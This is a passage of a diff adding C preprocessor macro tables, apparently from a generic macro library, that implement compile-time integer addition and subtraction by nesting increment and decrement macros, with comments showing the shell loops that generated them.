+#define M_DEC_31 30
+#define M_DEC_32 31
+#define M_DEC_33 32
+#define M_DEC_34 33
+#define M_DEC_35 34
+#define M_DEC_36 35
+#define M_DEC_37 36
+#define M_DEC_38 37
+#define M_DEC_39 38
+#define M_DEC_40 39
+#define M_DEC_41 40
+#define M_DEC_42 41
+#define M_DEC_43 42
+#define M_DEC_44 43
+#define M_DEC_45 44
+#define M_DEC_46 45
+#define M_DEC_47 46
+#define M_DEC_48 47
+#define M_DEC_49 48
+#define M_DEC_50 49
+#define M_DEC_51 50
+#define M_DEC_52 51
+
+
+/* Add two integers with both integers from [0 to M_MAX_NB_ARGUMENT[
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_ADDI_%d(n) " $i ; for j in $(seq 1 $i) ; do printf "M_INC(";done ; printf "n" ; for j in $(seq 1 $i) ; do printf ")" ;done ; printf "\n" ; done */
+#define M_ADD(x,y)  M_C(M_ADDI_, y)(x)
+#define M_ADDI_0(n) n
+#define M_ADDI_1(n) M_INC(n)
+#define M_ADDI_2(n) M_INC(M_INC(n))
+#define M_ADDI_3(n) M_INC(M_INC(M_INC(n)))
+#define M_ADDI_4(n) M_INC(M_INC(M_INC(M_INC(n))))
+#define M_ADDI_5(n) M_INC(M_INC(M_INC(M_INC(M_INC(n)))))
+#define M_ADDI_6(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))
+#define M_ADDI_7(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))
+#define M_ADDI_8(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))
+#define M_ADDI_9(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))
+#define M_ADDI_10(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))
+#define M_ADDI_11(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))
+#define M_ADDI_12(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))
+#define M_ADDI_13(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))
+#define M_ADDI_14(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))
+#define M_ADDI_15(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))
+#define M_ADDI_16(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))
+#define M_ADDI_17(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))
+#define M_ADDI_18(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))
+#define M_ADDI_19(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))
+#define M_ADDI_20(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))
+#define M_ADDI_21(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))
+#define M_ADDI_22(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))
+#define M_ADDI_23(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))
+#define M_ADDI_24(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))
+#define M_ADDI_25(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))
+#define M_ADDI_26(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))
+#define M_ADDI_27(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))
+#define M_ADDI_28(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))
+#define M_ADDI_29(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))
+#define M_ADDI_30(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))
+#define M_ADDI_31(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))
+#define M_ADDI_32(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))
+#define M_ADDI_33(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))
+#define M_ADDI_34(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))
+#define M_ADDI_35(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))
+#define M_ADDI_36(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))
+#define M_ADDI_37(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))
+#define M_ADDI_38(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_39(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_40(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_41(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_42(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_43(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_44(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_45(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_46(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_47(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_48(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_49(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_50(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_51(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_52(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Subtract two integers with both integers from [0 to M_MAX_NB_ARGUMENT[
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_SUBI_%d(n) " $i ; for j in $(seq 1 $i) ; do printf "M_DEC(";done ; printf "n" ; for j in $(seq 1 $i) ; do printf ")" ;done ; printf "\n" ; done */
+#define M_SUB(x,y)  M_C(M_SUBI_, y)(x)
+#define M_SUBI_0(n) n
+#define M_SUBI_1(n) M_DEC(n)
+#define M_SUBI_2(n) M_DEC(M_DEC(n))
+#define M_SUBI_3(n) M_DEC(M_DEC(M_DEC(n)))
+#define M_SUBI_4(n) M_DEC(M_DEC(M_DEC(M_DEC(n))))
+#define M_SUBI_5(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))
+#define M_SUBI_6(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))
+#define M_SUBI_7(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))
+#define M_SUBI_8(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))
+#define M_SUBI_9(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))
+#define M_SUBI_10(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))
+#define M_SUBI_11(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))
+#define M_SUBI_12(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))
+#define M_SUBI_13(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))
+#define M_SUBI_14(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))
+#define M_SUBI_15(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))
+#define M_SUBI_16(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))
+#define M_SUBI_17(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))
+#define M_SUBI_18(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))
+#define M_SUBI_19(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))
+#define M_SUBI_20(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))
+#define M_SUBI_21(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))
+#define M_SUBI_22(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))
+#define M_SUBI_23(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))
+#define M_SUBI_24(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))
+#define M_SUBI_25(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))
+#define M_SUBI_26(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))
+#define M_SUBI_27(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))
+#define M_SUBI_28(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))
+#define M_SUBI_29(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))
+#define M_SUBI_30(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))
+#define M_SUBI_31(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))
+#define M_SUBI_32(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))
+#define M_SUBI_33(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))
+#define M_SUBI_34(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))
+#define M_SUBI_35(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))
+#define M_SUBI_36(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))
+#define M_SUBI_37(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))
+#define M_SUBI_38(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_39(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))
